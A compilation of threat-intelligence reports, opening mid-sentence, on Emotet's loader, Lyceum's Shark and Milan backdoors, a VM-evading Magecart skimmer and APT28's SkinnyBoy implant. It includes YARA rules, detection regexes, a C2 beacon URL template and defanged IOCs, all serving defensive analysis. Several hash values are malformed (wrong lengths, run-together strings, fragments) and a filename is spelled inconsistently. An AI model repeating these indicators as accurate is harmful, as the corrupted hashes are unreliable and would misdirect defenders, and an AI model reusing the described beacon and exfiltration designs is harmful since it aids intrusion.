that the beginning of the data section contains the payload although it may vary in other samples. We will put the breakpoint at the address `0x406100`. The breakpoint was hit at the address `0x40218C` which is in the function `sub_401F80`. After looking at this function, we notice a few suspicious things: 1. This function builds strings on the stack in order to hide its intents. It uses `GetProcAddress` to find the address of `VirtualAllocExNuma` and calls it to allocate memory for the payload. 2. It calculates the parameters for `VirtualAllocExNuma` during runtime, to hide the allocation of RWX memory. The function `atoi` is being used to convert the string “64” to int, which is `PAGE_EXECUTE_READWRITE`. Also, the string “8192” is converted to `0x3000` which means the memory is allocated with the flags `MEM_COMMIT` and `MEM_RESERVE`. The payload is then copied from the .data section to the RWX memory (that is where our breakpoint hit). The decryption routine is being called and then the shellcode is being executed. In this blog post we looked at the static information of the new Emotet loader, revealed how to cluster similar samples, and found how to locate the malicious code and its payload. In addition, we exposed how the loader evades detection; primarily the loader hides the malicious API calls using obfuscation, but it also injects benign code to manipulate the algorithms of AI-based security products. Both processes have been shown to reduce the chance of the file being detected. The cumulative effect of these techniques makes the Emotet group one of the most advanced campaigns in the threat landscape.
# Who are the latest targets of cyber group Lyceum? **November 10, 2021** **By Accenture Cyber Threat Intelligence and Prevailion Adversarial Counterintelligence Team** Prevailion’s Adversarial Counterintelligence Team and Accenture’s Cyber Defense group are teaming up to jointly utilize their respective proprietary data and expert analysis to deliver timely and in-depth security research. Our goal is to provide insights into threat actor tactics, targets, and campaigns to deliver actionable detection and mitigation opportunities to defenders. Accenture’s Cyber Threat Intelligence (ACTI) group and Prevailion’s Adversarial Counterintelligence Team (PACT) analyzed recently publicized campaigns of the cyber espionage threat group Lyceum (aka HEXANE, Spirlin) to further analyze the operational infrastructure and victimology of this actor. The team’s findings corroborate and reinforce previous ClearSky and Kaspersky research indicating a primary focus on computer network intrusion events aimed at telecommunications providers in the Middle East. Additionally, the research expands on this victim set by identifying additional targets within internet service providers (ISPs) and government agencies. Although all victim-identifying information has been redacted, this report seeks to provide these targeted industry and geographic verticals with additional knowledge of the threat and mitigation opportunities. ## Findings The ACTI/PACT team made the following key findings: - Between July and October 2021, Lyceum backdoors appear to have targeted ISPs and telecommunication operators in Israel, Morocco, Tunisia, and Saudi Arabia as well as a ministry of foreign affairs (MFA) in Africa. - At least two of the identified compromises are assessed to be ongoing despite prior public disclosure of indicators of compromise (IOCs). - Domain name system (DNS) tunneling appears to be used only during the early stages of backdoor deployment; subsequently, the Lyceum operators use the HTTP(S) command and control (C2) functionality encoded in the backdoors. ## Methodology From an offset in the comprehensive analysis by ClearSky and Kaspersky, ACTI and PACT have conducted research on these campaigns based on Prevailion’s network telemetry overlaid with ACTI’s technical understanding of Lyceum backdoor communication. The joint ACTI/PACT research team was able to identify additional web-based infrastructure used by Lyceum, which corroborated previous reporting and identified six domains with a previously unknown connection to Lyceum (five of which are currently registered). This research eventually fueled Prevailion’s ability to annex over 20 Lyceum domains, which provided network telemetry of ongoing compromises. Analysis of this telemetry, enriched and corroborated with host-based data, allowed the team to identify additional victims and provide further visibility into Lyceum’s targeting methodology. ## Victimology Active since 2017, Lyceum targets organizations in sectors of strategic national importance, including oil and gas organizations and telecommunications providers. ACTI/PACT assess the targets for this campaign to be congruent with Lyceum’s previous activity; however, the group has expanded its target set to include ISPs and government bodies. ACTI/PACT identified victims within telecommunication companies and ISPs in Israel, Morocco, Tunisia, and Saudi Arabia as well as an MFA in Africa. Telecommunications companies and ISPs are high-level targets for cyber espionage threat actors because once compromised, they provide access to various organizations and subscribers in addition to internal systems that can be used to leverage malicious behavior even further. Additionally, companies within these industries can also be used by threat actors or their sponsors to surveil individuals of interest. MFAs are also highly sought-after targets because they have valuable intelligence on the current state of bilateral relationships and insight into future dealings. ## Investigation Summary During this campaign, Lyceum used two primary malware families, dubbed Shark and Milan (a.k.a. James). The ACTI/PACT investigation focused on the C2 communication aspects that analysts observed in Prevailion’s telemetry, since ClearSky and Kaspersky have already provided detailed technical descriptions of the backdoors. Both backdoors can communicate via DNS and HTTP(S). Shark produces a configuration file that contains at least one C2 domain, which is used with a Domain Generating Algorithm (DGA) for DNS tunneling or HTTP C2 communications. The C2 domains’ authoritative name server is attacker-controlled, allowing Lyceum operators to provide commands through IP addresses in the A-records of DNS responses. Shark uses a specific syntax when sending HTTP requests that enabled ACTI/PACT researchers to create a regular expression to identify additional victims of the campaign. Using this regular expression, the researchers were able to pivot from likely Israeli hosts to IP addresses resolving to telecommunication and ISPs in Israel and Saudi Arabia. The backdoor had consistent beaconing at these victims beginning in September through October 2021. For C2 communications over DNS, Milan uses hardcoded domains as the input for a custom DGA. The DGA is documented in Kaspersky’s report as is some of the syntax used by Milan for C2 over HTTP(S). However, ACTI found that some of the legacy Milan backdoors retrieve data by generating requests using the hard-coded domain and then requesting one of a number of Active Server Pages-related URL paths. These URL paths are hardcoded within some of the Milan samples. Those identified by ACTI were: - contact.aspx - default.aspx - preview.aspx - team.aspx When the ACTI/PACT team queried the Prevailion dataset for the above-referenced, known, hard-coded URL paths observed in Milan samples, the team observed continued beaconing in October from an IP address that resolved to a telecommunications operator in Morocco. Following this investigation thread, the ACTI/PACT team identified beaconing from a reconfigured or possibly a new Lyceum backdoor in late October 2021. The observed beacons were seen egressing from a telecommunications company in Tunisia as well as an MFA in Africa. The URL syntax of the newly reconfigured backdoor is similar to those generated in the newer version of Milan; however, because the URL syntax is configurable, it is likely that the Lyceum operators reconfigured the URL syntax used by Milan to circumvent intrusion detection systems (IDS) and intrusion prevention systems (IPS) that were encoded to detect the previous Milan beacon syntax. ## Outlook ACTI/PACT assess that Lyceum is likely updating its backdoors in light of recent public research into its activities to try and stay ahead of defensive systems. The group has continued its targeting of companies of national strategic importance. Lyceum will likely continue to use the Shark and Milan backdoors, albeit with some modifications, as the group has likely been able to maintain footholds in victims’ networks despite public disclosure of IOCs associated with its operations. ## Mitigation Accenture and Prevailion provide the following detection opportunities and IOCs to aid enterprises within the targeted industries and verticals in detecting Lyceum activity. ### Detection Opportunities for Shark Shark uses randomly generated directories to stage files for upload or after download. Below is an example: `c:userslukedesktopwinlangdbdir468526d1102461` The directories always appear to be appended by the filename of the Shark payload (e.g., winlangdbdir) and end with a 14-digit alphanumerical string (e.g., 468526d1102461). Detection engineers or network defenders are encouraged to look for similar directories on clients and servers in their networks. Shark HTTP telemetry will match the following URL syntax: `//?q=[a-z0-9]{8}(-[a-z0-9]{4}){3}-[a-z0-9]{12}&qi=[A-Za-z0-9%]{16}&q1=/` The URL syntax used by the new or reconfigured Lyceum backdoor is matched by the following regular expression: `//?(proto|kind|pt)=[0-9]{1}&(index|pi|serv)=/` ### Detection Opportunities for Milan Defenders can use the following YARA rule to sweep their filesystems for the presence of Milan: ```yara rule Milan { meta: author = "ACTI" date = "2021-06-03" description = "matches ping, PDB strings and User-Agent syntax from the MilanRAT backdoor" hash = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249" hash1 = "d3606e2e36db0a0cb1b8168423188ee66332cae24fe59d63f93f5f53ab7c3029" hash2 = "21ab4357262993a042c28c1cdb52b2dab7195a6c30fa8be723631604dd330b29" hash3 = "a2754d7995426b58317e437f8ed6770cd7bb7b18d971e23b2b300b75e34fa086" hash4 = "b766522dd4189fef7775d663e5649ba9d8be8e03022039d20848fcbc3643e5f2" hash5 = "b54a67062bdcd32dfa9f3d7b69780d2e6e4925777290bc34e8f979a1b4b72ea2" strings: $re = /cmd.exe /C ping ([0-9]{1}.{1}){3}[0-9]{1} -n [0-9]{1}/ wide $a1 = "Mozilla/5.0" wide $a2 = "rmdir" wide $b2 = "C:\Users\kernel\Desktop\milan\Release\Milan.pdb" ascii wide $b3 = "Milan-asdsad-asd23-23-ad234-213-sad" ascii wide $b4 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" ascii wide $b5 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" ascii wide condition: uint16(0) == 0x5A4D and filesize > 800KB and $re and (all of ($a*) or 2 of ($b*) } ``` ### Indicators of Compromise Defenders should query their network logs for any traffic matching the following Lyceum C2 domains: - defenderlive[.]com - dnsstatus[.]org - wsuslink[.]com - akastatus[.]com - updatecdn[.]net - dnscdn[.]org - sysadminnews[.]info - windowsupdatecdn[.]com - hpesystem[.]com - cybersecnet[.]org - cybersecnet[.]co[.]za - excsrvcdn[.]com - online-analytic[.]com - web-traffic[.]info - hpesystem[.]com - indianmombais[.]com - defenderstatus[.]com - zonestatistic[.]com The following domains were identified during the course of analysis; the joint team assesses that these domains are likely associated with Lyceum as part of its past or current infrastructure: - checkinternet[.]org - digitalmarketingagency[.]net - dnsanalizer[.]com - livednscdn[.]com - micrsoftonline[.]net The following Lyceum domains were seen to be used by the reconfigured or new Lyceum backdoor: - centosupdatecdn[.]com - dnscatalog[.]net - securednsservice[.]net - uctpostgraduate[.]com For reference and further analysis, defenders can access the following file-hashes related to the Milan and Shark backdoors: **Shark:** - 89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b82f2ef9e3f6db2146 - bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c44faf11719b3a679e7a6dd5db40033ec4 - dd6e1b0361c145b81586cb735a64112f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660 - df8a3dc9ed1f3ca **Milan:** - B46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249 - d3606e2e36db0a0cb1b8168423188ee66332cae24fe59d63f93f5f53ab7c302921ab4357262993a042c28c1cdb52b2dab7195a6c30fa8be723631604dd330b29 - a2754d7995426b58317e437f8ed6770cd7bb7b18d971e23b2b300b75e34fa086 - b766522dd4189fef7775d663e5649ba9d8be8e03022039d20848fcbc3643e5f2 - b54a67062bdcd32dfa9f3d7b69780d2e6e4925777290bc34e8f979a1b4b72ea2 ## Detailed Technical Description ACTI/PACT will only provide a brief presentation of the malware families and will focus on the C2 communication aspects that analysts observed in Prevailion’s telemetry, since ClearSky and Kaspersky have already provided detailed technical descriptions of the Shark and Milan (a.k.a. James) backdoors. ### Shark Shark is a 32-bit executable written in C# and .NET. To run Shark, a parameter is passed on the command line that includes the executable’s filename. Shark generates a mutex that uses the executable’s filename as the mutex value. The mutex likely ensures Shark does not execute on a machine where it is already running and that the correct version of Shark is executed. Shark does not use code to facilitate persistence; instead, Shark runs its functions as infinite threads, which enables Shark to persist as long as the victim’s machine is turned on. The developers likely designed Shark for clients or servers with high uptime or for machines to which they have access and can re-launch the Shark executable if the machine is turned off. Shark uses a function called “redus” to produce a configuration file that is XOR-encoded, compressed with Gzip, and has the same name as the Shark executable. All files that ACTI analyzed were XOR-encoded with the hexadecimal key 0x2a. The configuration file contains at least one C2 domain, which is used with a DGA for DNS tunneling or HTTP C2 communications. The C2 domains’ authoritative name server is attacker-controlled, allowing Lyceum operators to provide commands through IP addresses in the A records of DNS responses. Specific parameters within the Shark backdoor configuration file indicate whether the backdoor is to use DNS or HTTP for C2: - S1, S2: The configured C2 servers. - T1, T2: Sleep time values. - d1,u1,d2,u2: Staging folders for upload and download where different directories are used depending on whether the upload or download occurs with DNS or HTTP. When sending HTTP requests, Shark uses the following syntax: `http://maliciousdomain.com/?q=[GUID + (request type string)]&qi=[machine id (id parameter from config]&q1=[machine name]&q2=[vr = "02" for all samples] &q3=[HttpTimeOut(t2 parameter from config)]` The “q” parameter in the request always contains a new GUID for each request and has the following strings appended depending on the request type: - s6rt – Beacon - xrtf – Download - o543n – Upload ### Milan Milan is a 32-bit RAT written in Visual C++ and .NET. Milan is loaded and persists using tasks. An encoded routine waits for three to four seconds between executing the first task, deleting this task, and setting a second scheduled task for persistence. Some of the Milan backdoors analyzed by ACTI also include samples that were clustered as DanBot backdoors in ClearSky’s report. However, these samples are all written in Visual C++ and .NET, while DanBot samples are written in C# and .NET. Although there are certain differences among the Milan samples, ACTI has conducted sample comparisons indicating a high similarity across this cluster of Milan samples. Like Shark, Milan queries the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid to retrieve the GUID for the victim machine, from which both backdoors use the last eight characters to generate a unique identifier for the victim machine. Like Shark, Milan is also able to use both DNS and HTTP(S) for C2 communications. For C2 communications over DNS, Milan uses hardcoded domains as the input for a custom DGA. The DGA is documented in Kaspersky’s report as is some of the syntax used by Milan for C2 over HTTP(S). However, ACTI found that some of the legacy Milan backdoors retrieve data by generating requests using the hard-coded domain and then requesting one of a number of Active Server Page-related URL paths. These URL paths are hardcoded within some of the Milan samples. ACTI/PACT Investigation: ACTI started seeing the Shark campaign in host-based telemetry on July 19, 2021, when various hosts in Israel started executing a Shark backdoor with the following attributes: - Filename: “Shark.exe” - SHA-256: 2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c ACTI observed this file being executed on a large number of hosts in Israel. Many of these machines carried Windows 10 Enterprise and Pro builds, while other observed operating systems within victim environments were older Windows Server 2016 Datacenter and Windows Server 2019 Datacenter builds. It is possible that some of the machines executing Shark.exe were part of an incident response effort against the Lyceum campaigns, as they appear to have operating systems within (likely multiple individual) virtual machines that appear to have been created for single executions of the Shark backdoor on a variety of Windows operating systems. The referenced file (Shark.exe) was first submitted to a third-party malware repository on August 2, 2021, from a submitter who appears to be based in Israel. On September 27, 2021, the same third-party malware repository submitter also uploaded a file with the following attributes: - Filename: “data.dat” - SHA-256: 17ab5ee10033da8a519c0547581f40677b973345d8c3172a4fde612692188460 This file is not malicious but contains the output from DNS requests generated by the DGA and the hardcoded C2 domain in the previously referenced Shark.exe file. Seen in totality, the host-based Shark executions coupled with Shark backdoor and telemetry submissions from Israel indicated to the ACTI/PACT research team that victimology would likely include Lyceum victims in Israel. The research team overlaid the Shark malware syntax on Prevailion’s C2 telemetry, which at the time of analysis consisted of data from 14 assessed Lyceum C2 domains. This was initially done to detect DGA-generated DNS requests and subsequently the previously described HTTP patterns. The effort focusing on Shark-generated DNS requests only yielded what is assessed to be sandbox runs of Shark samples, egressing from various IP-address infrastructure owned by security or cloud vendors. However, when the ACTI/PACT research team queried the Prevailion dataset based on the previous regular expression, consistent beaconing was observed through September and continuing into October 2021 from a number of IP addresses resolving to telecommunication companies and ISPs in Israel and Saudi Arabia. The inclusion of the parameter: “s6rt” indicates backdoors where traffic was set for beaconing. The Shark backdoors were likely in beacon mode due to Lyceum operators having lost control of the backdoor following Prevailion’s assumption of control of the Shark C2 domains: “defenderstatus[.]com” and “zonestatistic[.]com”. Queries for a DGA generated by the Milan backdoor yielded the same kind of telemetry as seen for the Shark DGA-generated DNS requests. As with Shark, most of them were short duration beacons egressing from cloud or IP spaces related to security vendors. The lack of use of the DGA DNS tunneling in the observed Lyceum C2 telemetry could indicate that the DNS tunneling is only used during the first phase of the compromise, but then retired in preference of HTTP(S) as Lyceum becomes well established in the victim network. When the ACTI/PACT team queried the Prevailion dataset for the previously referenced known hardcoded URL paths observed in Milan samples, the researchers observed continued beaconing from an IP address that resolved to a telecommunications operator in Morocco. It is unknown if the Milan backdoor beacons are coming from a customer of the Moroccan telecommunication operator or from internal systems within the operator. However, since Lyceum has historically targeted telecommunication providers and the Kaspersky team identified recent targeting of telecommunication operators in Tunisia, it would follow that Lyceum is targeting other North African telecommunication companies. The ACTI/PACT research team therefore assess that the observed Milan activity is likely emanating directly from within the Moroccan telecommunications operator. During late October 2021, the ACTI/PACT team identified beaconing from a reconfigured or possibly a new Lyceum backdoor. The observed beacons were seen egressing from a telecommunications company in Tunisia as well as an MFA in Africa. The URL syntax of the newly reconfigured backdoor is somewhat similar to those generated in the newer version of Milan. The URL syntax is configurable within the Milan backdoor, and ACTI/PACT assesses it as likely that the Lyceum operators reconfigured the URL syntax used by Milan to circumvent IDS or IPS that were encoded to detect previous Milan beacon syntax. The new backdoor syntax is matched by the following regular expression: `//?(proto|kind|pt)=[0-9]{1}&(index|pi|serv)=/` However, as it is configurable, it may only be useful to create ad-hoc network detection rules. ACTI provides actionable and relevant threat intelligence to support decision makers. More information on this activity is available to subscribed ACTI IntelGraph customers. IntelGraph is a proprietary next-generation security intelligence platform that allows users to search, visualize, and contextualize the relationships among malicious actors, their tools, and the vulnerabilities they exploit. Accenture Security helps organizations build resilience from the inside out so they can confidently focus on innovation and growth. Leveraging its global network of cybersecurity labs, deep industry understanding across client value chains and services that span the security lifecycle, Accenture helps organizations protect their valuable assets, end-to-end. With services that include strategy and risk management, cyber defense, digital identity, application security, and managed security, Accenture enables businesses around the world to defend against known sophisticated threats, and the unknown.
# Credit Card Skimmer Evades Virtual Machines **Threat Intelligence Team** **November 3, 2021** **Authored by Jérôme Segura** There are many techniques threat actors use to slow down analysis or evade detection. Perhaps the most popular method is to detect virtual machines commonly used by security researchers and sandboxing solutions. Reverse engineers are accustomed to encountering code snippets that check certain registry keys, looking for specific values indicating the presence of VMware or Virtual Box, two of the most popular pieces of virtualization software. Many malware families incorporate these anti-VM features, usually as a first layer. For web threats, it is more rare to see detection of virtual machines via the browser. Typically, threat actors are content with filtering targets based on geolocation and user-agent strings. But that feature does exist in modern browsers and can be quite effective. In this blog post, we show how a Magecart threat actor distributing a digital skimmer is avoiding researchers and possibly sandboxes by ensuring users are running genuine computers and not virtual ones. ## Virtual Machine Detection Our investigation started by looking at a newly reported domain that could possibly be related to Magecart. Suspicious JavaScript is being loaded alongside an image of payment methods. Note that browsing directly to the URL will return a decoy Angular library. There is one interesting function within this skimmer script that uses the WebGL JavaScript API to gather information about the user’s machine. We can see that it identifies the graphics renderer and returns its name. For many Virtual Machines, the graphics card driver will be a software renderer fallback from the hardware (GPU) renderer. Alternatively, it could be supported by the virtualization software but still leak its name. We notice that the skimmer is checking for the presence of the words swiftshader, llvmpipe, and virtualbox. Google Chrome uses SwiftShader while Firefox relies on llvmpipe as its renderer fallback. By performing this in-browser check, the threat actor can exclude researchers and sandboxes and only allow real victims to be targeted by the skimmer. ## Data Exfiltration If the machine passes the check, the personal data exfiltration process can take place normally. The skimmer scrapes a number of fields including the customer’s name, address, email, and phone number as well as their credit card data. It also collects any password (many online stores allow customers to register an account), the browser’s user-agent, and a unique user ID. The data is then encoded and exfiltrated to the same host via a single POST request. ## Evasion and Defenders This is not surprising to see such evasion techniques being adopted by criminals; however, it shows that as we get better at detecting and reporting attacks, threat actors also evolve their code eventually. This is a natural trade-off that we must expect. In addition to code obfuscation, anti-debugger tricks, and now anti-VM checks, defenders will have to spend more time to identify and protect against those attacks or at least come up with effective countermeasures. Malwarebytes users are protected against this campaign. ## Indicators of Compromise (IOCs) - Skimmer code - Skimmer code beautified ``` cdn[.]megalixe[.]org con[.]digital-speed[.]net apis[.]murdoog[.]org static[.]opendwin[.]com css[.]tevidon[.]com mantisadnetwork[.]org static[.]mantisadnetwork[.]org stage[.]sleefnote[.]com js[.]speed-metrics[.]com troadster[.]com nypi[.]dc-storm[.]org web[.]webflows[.]net js[.]librarysetr[.]com librarysetr[.]com opendwin[.]com app[.]rolfinder[.]com libsconnect[.]net artesfut[.]com js[.]artesfut[.]com js[.]rawgit[.]net js[.]demo-metrics[.]net demo-metrics[.]net dev[.]crisconnect[.]net m[.]brands-watch[.]com graph[.]cloud-chart[.]net hal-data[.]org stage[.]libsconnect[.]net app[.]iofrontcloud[.]com iofrontcloud[.]com alligaturetrack[.]com webflows[.]net web[.]webflows[.]net tag[.]listrakbi[.]biz api[.]abtasty[.]net cloud-chart[.]net graph[.]cloud-chart[.]net cdn[.]getambassador[.]net climpstatic[.]com stst[.]climpstatic[.]com marklibs[.]com st[.]adsrvr[.]biz cdn[.]cookieslaw[.]org clickcease[.]biz 89.108.127[.]254 89.108.127[.]16 82.202.161[.]77 89.108.116[.]123 82.202.160[.]9 89.108.116[.]48 89.108.123[.]28 89.108.109[.]167 89.108.110[.]208 50.63.202[.]56 212.109.222[.]225 82.202.160[.]8 82.202.160[.]137 192.64.119[.]156 89.108.109[.]169 82.202.160[.]10 82.202.160[.]54 82.146.50[.]89 82.202.160[.]123 82.202.160[.]119 194.67.71[.]75 77.246.157[.]133 82.146.51[.]242 89.108.127[.]57 82.202.160[.]8 185.63.188[.]84 89.108.123[.]168 77.246.157[.]133 185.63.188[.]85 82.146.51[.]202 185.63.188[.]59 89.108.123[.]169 185.63.188[.]71 89.108.127[.]16 82.202.161[.]77 ```
# A Not So Fancy Game: Exploring the New SkinnyBoy Bear’s Backdoor ## Executive Summary This paper presents an analysis of a new and previously unreported malware internally dubbed as "SkinnyBoy". Based on long-term observations and technical evidence, Cluster25 cyber intelligence research team associates this implant, with a medium-high degree of confidence, to the threat actor known as APT 28 / Fancy Bear / Pawn Storm. ## Introduction APT 28 (aka Pawn Storm, Fancy Bear, Strontium) is a famous hacking group that often grabs the media's attention when suspected of perpetrating cyber intrusions against high-profile public and private institutions. It's categorized as APT (Advanced Persistent Threat) because this adversary pursues a well-defined set of goals against a set of well-defined targets. Presumably operating since the mid-2000s, its techniques, tactics, and procedures are compatible with a state-sponsored threat actor. The group usually targets companies and organizations operating in the military, government, and diplomatic sectors, and security organizations aligned with NATO objectives. This adversary can adopt different techniques and tactics to obtain initial access to the victim's system. Among these are: 1. Watering hole attacks against compromised websites frequently visited by targets 2. Exploit kit / 0day and common vulnerabilities used to infect targets 3. Social engineering techniques, such as spear-phishing email messages 4. Credential Theft However, even though these techniques can sometimes be very evolved, it is not unusual to observe and correlate less sophisticated activities aimed at obtaining a foothold in the targeted perimeter. Indeed, APT28 / Fancy Bear has been observed quite often updating their tools and malware implants. While over time it was possible to notice substantial increases in sophistication even among different samples of the same malware family, other times the level of sophistication was significantly lower than expected. Considering the group's capabilities, the tactic of significantly lowering these levels becomes functional with an attempt to deceive the APT nature of the sample and make any attribution effort more complex. This is the case of the last implant observed by our research team which has a rather low level of sophistication and basic operating logic even if fully operational and functional. This implant, which is still unreported at the time of writing, has been internally called SkinnyBoy and its attribution goes to APT28/Fancy Bear group after months of observations. Before analyzing this sample, we found out it was uploaded on a popular online platform and detected only by Microsoft Defender engine as belonging to the "AceLog" family. During our analysis, we came to the conclusion that this implant was used to target military and government institutions. ## Adversary Operational Security During the analysis of the campaign, the adversary was observed using commercial VPN services as part of their OPsec in order to hide their tracks. The same VPN services were used to purchase and manage their infrastructure during this campaign. ## Infection Chain Comparable with previous APT28 / Fancy Bear attacks, the actor used spear-phishing techniques to deliver multi-staged infection chains with at least two different drop points. ### Vector and First Stage The vector of the infection is a spear phishing email delivering a Word Office document with a significant name related to an International Conference. Both the vector and its naming are consistent with APT28 / FancyBear TTPs. As expected, the document triggers a MACRO function able to extract a Microsoft Dynamic Link Library (DLL) which then acts as downloader of a SkinnyBoy dropper (tdp1.exe) from a first drop URL. ### SkinnyBoy Dropper tpd1.exe is the second stage of the infection. Once downloaded in the victim's file system, it extracts all the components necessary to set persistence and trigger the following malicious operations. The extracted payload is encoded in Base64 format and appended as an overlay in the executable file. At the time of execution, the malicious process decodes the payload and, starting from it, writes two different files on the filesystem, then deletes itself. The dropped files are: - C:\Users\%username%\AppData\Local\devtmrn.exe - C:\Users\%username%\AppData\Local\Microsoft\TerminalServerClient\TermSrvClt.dll The names of the dropped files and of the created folder are stored in the executable in an encrypted way. The actor used a different XOR key for each string used. Some of these associations are shown in the following table. | CLEAR STRING | USED XOR KEY | |----------------------------------|-----------------------| | Microsoft | MV$)fjgkl | | TerminalServerClient | KV*#4u8K#HdefnNFn4fg | | TermSrvClt.dll | IOJ$C#83r#rji2 | To stay under the radar, the malware never executes the extracted files. Instead, it creates a persistence mechanism on the infected machine which allows a delayed execution of the next stages. It creates a LNK file under Windows Startup folder (%appdata%\Microsoft\Windows\Start Menu\Programs\Startup), named devtmrn.lnk, which points to the extracted malware devtmrn.exe. The creation of the link file occurs through a Windows COM object instantiated using the CoCreateInstance WinAPI function, passing the CLSID associated to LNK files as argument. ### SkinnyBoy Launcher Once the machine reboots, the LNK file, placed into the system's Startup folder, triggers the execution of the devtmrn.exe executable, which simply acts as a launcher of the main implant. When launched, it only checks the existence of the following path: C:\Users\%username%\AppData\Local\Microsoft\TerminalServerClient\TermSrvClt.dll and starts a new process invoking the first DLL exported function, named RunMod. To identify the right DLL to launch, the executable calculates the SHA256 hashes of each filename into C:\Users\%username%\AppData\Local comparing each one of them with the pre-computed SHA256 of the string TermSrvClt.dll. Hashes are calculated through classic WinAPI functions, such as CryptHashData and CryptGetHashParam. ### SkinnyBoy Implant The DLL executable, named TermSrvClt.dll, corresponds to the main implant of the infection chain. It exfiltrates information about the infected system and retrieves and launches the final payload. Once triggered, the process executes two Windows utilities to gather information about the system, sysinfo.exe and tasklist.exe. Subsequently, it extracts a list of filenames contained in a subset of interesting directories, which are: - C:\Users\%username%\Desktop - C:\Program Files - C:\Program Files (x86) - C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools - C:\Users\%username%\AppData\Roaming - C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Templates - C:\Windows - C:\Users\user\AppData\Local\Temp The output of this phase is concatenated using a fixed structure, which is then sent to the Command and Control, updaterweb.com, using a POST request. Before being encoded in Base64, the previously extracted information is organized according to the following structure: After completing the first HTTPS POST request containing the gathered information, the malware contacts the C2 again in order to retrieve the next payload. The new POST request is structured as follows: To avoid static detection, the format strings used to build the POST request body are XORed using two different keys. Finally, the Command and Control should reply with the next DLL that will be executed, representing the final stage of the infection, which probably manifests backdoor behaviors. By statically analyzing the TermSrvClt.dll compiled code, we can assume that once the server correctly replies, it stores the downloaded file in %TEMP% folder, self-injecting and executing it in memory using the LoadLibrary and GetProcAddress WinAPIs. The downloaded file is then deleted to covert the infection tracks. ## Attribution After a period of observation of the described threat and an in-depth analysis of the identified victimology, Cluster25 team attributes the SkinnyBoy implant and the related attack to the Russian Group known as APT28 / FancyBear with a mid-to-high confidence. ## Detection Rule ### SkinnyBoy Dropper [YARA] ```yara rule APT28_SkinnyBoy_Dropper: RUSSIAN THREAT ACTOR { meta: author = "Cluster25" hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9" strings: $ = "cmd /c DEL " ascii $ = " \"" ascii $ = {8a 08 40 84 c9 75 f9} $ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff} condition: (uint16(0) == 0x5A4D and all of them) } ``` ### SkinnyBoy Launcher [YARA] ```yara rule APT28_SkinnyBoy_Launcher: RUSSIAN THREAT ACTOR { meta: author = "Cluster25" hash1 ="2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce" strings: $sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97 13 2C 6D 07 6F 86} $l1 = "CryptGetHashParam" ascii $l2 = "CryptCreateHash" ascii $l3 = "FindNextFile" ascii $l4 = "PathAddBackslashW" ascii $l5 = "PathRemoveFileSpecW" ascii $h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00 56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??} $h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF} condition: uint16(0) == 0x5a4d and filesize < 100KB and ($sha or (all of ($l*) and all of ($h*))) } ``` ### SkinnyBoy Implant [YARA] ```yara import "pe" rule APT28_SkinnyBoy_Implanter: RUSSIAN THREAT ACTOR { meta: author= "Cluster25" date= "2021-05-24" hash= "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698" strings: $enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D 85 [4] 6A ?? 50 66 [7] E8} $heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?} $xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 } condition: uint16(0) == 0x5a4d and pe.is_dll() and filesize < 100KB and $xor_cycle and $heap_ops and $enc_string } ``` ## IOCs | CATEGORY | TYPE | VALUE | |------------------------------|---------------|-----------------------------------------| | PAYLOAD - DELIVERY | MD5 | ae1e587d19250deb40e92587b8a2188c | | PAYLOAD - DELIVERY | SHA1 | efa4fa5ddee99853c32b321496f9369f2db119eb | | PAYLOAD - DELIVERY | SHA256 | 12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9 | | PAYLOAD - DELIVERY | MD5 | 4f3ac4c7b5932f11662d4d22fa5d88ec | | PAYLOAD - DELIVERY | SHA1 | 5d607109d1a12a279664eec8f4bd604287b62c7 | | PAYLOAD - DELIVERY | SHA256 | 04e1772997b884540d5728a2069c3cc93b8f29478e306d341120f789ea8ec79e | | PAYLOAD - DELIVERY | MD5 | 53537ed6d4038ca7dbc054308c40fc3e3 | | PAYLOAD - DELIVERY | SHA1 | e15c665f02fb288fc4bdef9d23b2dc802b3aca0d | | PAYLOAD - DELIVERY | SHA256 | 2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce | | PAYLOAD - DELIVERY | MD5 | fa4b1efd428bbf47f9c8395ca91eff25 | | PAYLOAD - DELIVERY | SHA1 | e15c665f02fb288fc4bdef9d23b2dc802b3aca0d | | PAYLOAD - DELIVERY | SHA256 | ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698 